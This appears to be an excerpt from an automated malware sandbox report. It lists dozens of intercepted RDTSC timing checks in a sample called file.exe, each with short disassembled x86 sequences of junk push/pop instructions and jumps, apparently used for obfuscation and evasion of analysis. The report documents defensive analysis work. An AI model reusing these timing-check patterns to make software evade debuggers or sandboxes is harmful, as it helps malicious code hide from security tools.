Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC05D3 second address: EC05D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0B04 second address: EC0B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9AEC795B4Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0B17 second address: EC0B2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F9AED3FF386h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0B2E second address: EC0B70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9AEC795B4Ch 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 pushad 0x00000013 jns 00007F9AEC795B46h 0x00000019 jnc 00007F9AEC795B46h 0x0000001f popad 0x00000020 jnp 00007F9AEC795B4Ch 0x00000026 jnl 00007F9AEC795B46h 0x0000002c popad 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0E5D second address: EC0E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0E63 second address: EC0E75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0E75 second address: EC0E7F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0F4A second address: EC0F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC1356 second address: EC1363 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC1363 second address: EC13AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 push ecx 0x00000008 add edi, dword ptr [ebp+122D2AD2h] 0x0000000e pop ecx 0x0000000f push 0000001Eh 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F9AEC795B48h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b nop 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F9AEC795B56h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC1693 second address: EC16FE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9AED3FF388h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007F9AED3FF39Fh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 push ebx 0x00000019 pushad 0x0000001a popad 0x0000001b pop ebx 0x0000001c js 00007F9AED3FF38Ch 0x00000022 jno 00007F9AED3FF386h 0x00000028 popad 0x00000029 mov eax, dword ptr [eax] 0x0000002b jmp 00007F9AED3FF393h 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F9AED3FF38Ch 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC16FE second address: EC171A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC171A second address: EC1720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC1720 second address: EC1724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC176D second address: EC1787 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF396h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFF1B second address: EFFF2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F9AEC795B46h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0008D second address: F00095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00095 second address: F00099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00099 second address: F000DA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9AED3FF386h 0x00000008 jmp 00007F9AED3FF391h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F9AED3FF391h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9AED3FF391h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00247 second address: F0024B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0024B second address: F00285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AED3FF395h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F9AED3FF395h 0x00000011 js 00007F9AED3FF386h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F052B9 second address: F052BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F052BF second address: F052C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05566 second address: F05574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9AEC795B46h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05574 second address: F05588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF38Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05588 second address: F0558C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0558C second address: F0559A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0559A second address: F0559E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F059D7 second address: F059DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05CA1 second address: F05CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F9AEC795B46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05CAB second address: F05CBF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9AED3FF386h 0x00000008 jng 00007F9AED3FF386h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05E08 second address: F05E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05F8E second address: F05F92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05F92 second address: F05FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9AEC795B4Fh 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F9AEC795B56h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9AEC795B56h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05FDC second address: F05FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F9AED3FF386h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05FE8 second address: F05FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0612D second address: F0613B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0613B second address: F06145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9AEC795B46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06145 second address: F06149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F065E8 second address: F065F2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9AEC795B46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F065F2 second address: F06647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9AED3FF396h 0x0000000c jg 00007F9AED3FF386h 0x00000012 popad 0x00000013 popad 0x00000014 push esi 0x00000015 jng 00007F9AED3FF397h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F9AED3FF394h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A0B0 second address: F0A0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A0B6 second address: F0A0CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F9AED3FF38Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A0CC second address: F0A0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A0DA second address: F0A0E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D5E8 second address: F0D5ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D5ED second address: F0D5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D5F8 second address: F0D5FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D8E6 second address: F0D8F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F9AED3FF386h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1020C second address: F10211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10211 second address: F10228 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10228 second address: F10238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AEC795B4Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F14340 second address: F1434C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1434C second address: F14378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AEC795B4Ch 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f je 00007F9AEC795B46h 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F9AEC795B4Bh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F14378 second address: F1437C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1437C second address: F14392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F9AEC795B46h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1492F second address: F14934 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1ADA0 second address: F1ADA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1ADA6 second address: F1ADAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7CED9 second address: E7CEE8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9AEC795B46h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC11E5 second address: EC1218 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c jno 00007F9AED3FF38Ch 0x00000012 mov ebx, dword ptr [ebp+124830D0h] 0x00000018 mov edi, dword ptr [ebp+122D2E38h] 0x0000001e add eax, ebx 0x00000020 movsx edi, cx 0x00000023 nop 0x00000024 jl 00007F9AED3FF38Eh 0x0000002a push ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EB60 second address: F1EB66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EB66 second address: F1EB6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EB6A second address: F1EB80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F9AEC795B48h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E481 second address: F1E485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E485 second address: F1E48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E845 second address: F1E889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9AED3FF38Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jmp 00007F9AED3FF390h 0x00000013 jmp 00007F9AED3FF398h 0x00000018 pop ebx 0x00000019 push edi 0x0000001a push edx 0x0000001b pop edx 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25105 second address: F2511B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B51h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F259F4 second address: F259F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F259F8 second address: F259FE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F264C9 second address: F264EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F9AED3FF395h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F264EA second address: F26502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9AEC795B52h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26502 second address: F26526 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9AED3FF38Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9AED3FF38Fh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A66A second address: F2A679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9AEC795B46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A679 second address: F2A683 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2A683 second address: F2A6A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B54h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F9AEC795B46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AAA7 second address: F2AAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AAAB second address: F2AAB0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AD67 second address: F2AD93 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9AED3FF39Fh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F9AED3FF386h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AD93 second address: F2AD97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AD97 second address: F2ADA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F375D4 second address: F375F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B59h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37B31 second address: F37B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AED3FF390h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37B48 second address: F37B6B instructions: 0x00000000 rdtsc 0x00000002 je 00007F9AEC795B65h 0x00000008 jmp 00007F9AEC795B59h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37CCB second address: F37CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37CCF second address: F37CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37CD5 second address: F37CEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF395h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37F78 second address: F37F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F383FD second address: F38405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38405 second address: F3840B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38C46 second address: F38C77 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F9AED3FF39Ah 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9AED3FF38Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38C77 second address: F38C7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F371C9 second address: F371CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F371CD second address: F371E4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9AEC795B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop edx 0x0000000e pushad 0x0000000f jnl 00007F9AEC795B46h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
